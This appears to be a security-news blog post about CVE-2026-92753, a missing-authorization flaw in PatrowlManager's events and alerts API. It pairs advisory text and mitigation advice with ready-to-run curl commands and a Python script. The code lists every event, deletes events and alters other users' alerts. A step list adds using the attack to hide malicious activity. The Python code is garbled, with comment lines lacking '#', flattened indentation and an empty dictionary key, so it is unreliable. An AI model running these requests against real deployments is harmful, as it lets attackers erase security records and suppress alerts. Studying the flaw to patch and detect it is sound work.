CVE-2026-92753 is an authorization bypass vulnerability affecting PatrowlManager versions through 1.8.4. The flaw resides in the events and alerts API endpoints, which fail to enforce ownership filtering on requests. This missing authorization control allows any authenticated attacker, regardless of their privilege level, to access resources that should be restricted to the resource owner or users with specific permissions. The vulnerability is classified as CWE-862 (Missing Authorization), indicating a fundamental flaw in how the application validates user permissions before granting access to sensitive operations. An attacker exploiting this vulnerability can read the platform’s entire event history, which may contain sensitive operational data about the organization’s security posture and infrastructure. More critically, the attacker can delete arbitrary events, potentially covering their tracks or disrupting security monitoring operations. They can also modify alerts belonging to other users, which could lead to confusion, false alarms, or suppression of legitimate security notifications. The exploitation is considered automatable, meaning attackers can script the process to enumerate and exploit the vulnerability across multiple instances. The CISA ADP has recorded that proof-of-concept exploits exist, increasing the risk of active exploitation in the wild. The vulnerability was publicly disclosed on August 16, 2026, and affects all versions of PatrowlManager up to and including 1.8.4. The CVSS score of 7.1 reflects the high severity, driven by the network attack vector, low attack complexity, and the partial technical impact on confidentiality, integrity, and availability. Organizations using PatrowlManager for security operations orchestration must prioritize patching to prevent unauthorized access to their event data and alert configurations.

Vulnerability: Auth bypass

What Undercode Say:
Analytics:
curl -X GET "https://target-patrowlmanager/api/events/" \ -H "Authorization: Token <valid_token>" \ -H "Content-Type: application/json"
curl -X DELETE "https://target-patrowlmanager/api/events/12345/" \ -H "Authorization: Token <valid_token>"
import requests
base_url = "https://target-patrowlmanager"
token = "valid_token_here"
headers = {"Authorization": f"Token {token}"}
Enumerate events
events = requests.get(f"{base_url}/api/events/", headers=headers).json()
for event in events:
print(f"Event ID: {event['id']}, User: {event.get('user')}")
Delete an event
requests.delete(f"{base_url}/api/events/12345/", headers=headers)
Modify an alert
alert_data = {"": "Modified Alert", "severity": "low"}
requests.patch(f"{base_url}/api/alerts/67890/", headers=headers, json=alert_data)
Exploit: (Educational Purposes!)
- Obtain a valid authentication token by logging into PatrowlManager with any low-privilege account.
- Use the token to call the events API endpoint without ownership restrictions, e.g., `GET /api/events/` to retrieve all events across the platform.
- Identify event IDs belonging to other users or system-generated events.
- Send a `DELETE /api/events/{id}/` request to remove arbitrary events.
- Use `PATCH /api/alerts/{id}/` to modify alerts owned by other users, altering their severity or status.
- Combine these actions to disrupt security monitoring or hide malicious activities.
Protection: from this CVE
Upgrade PatrowlManager to a version beyond 1.8.4 once the vendor releases a patch.
Implement network segmentation to restrict API access to trusted networks only.
Enable detailed audit logging for all API requests to detect anomalous access patterns.
Apply the principle of least privilege to user accounts, minimizing the number of authenticated users.
Monitor for unusual deletion or modification activity on events and alerts endpoints.
Use a Web Application Firewall (WAF) to inspect and block suspicious API requests.
Impact:
Confidentiality: Unauthorized read access to the entire platform event history, potentially exposing sensitive operational data.
Integrity: Ability to delete or modify events and alerts, leading to data corruption and loss of trust in security monitoring.
Availability: Deletion of critical events can disrupt incident response and forensic investigations.
Overall: The vulnerability allows authenticated attackers to bypass authorization controls, compromising the security operations center’s ability to rely on PatrowlManager for accurate threat intelligence and alert management.
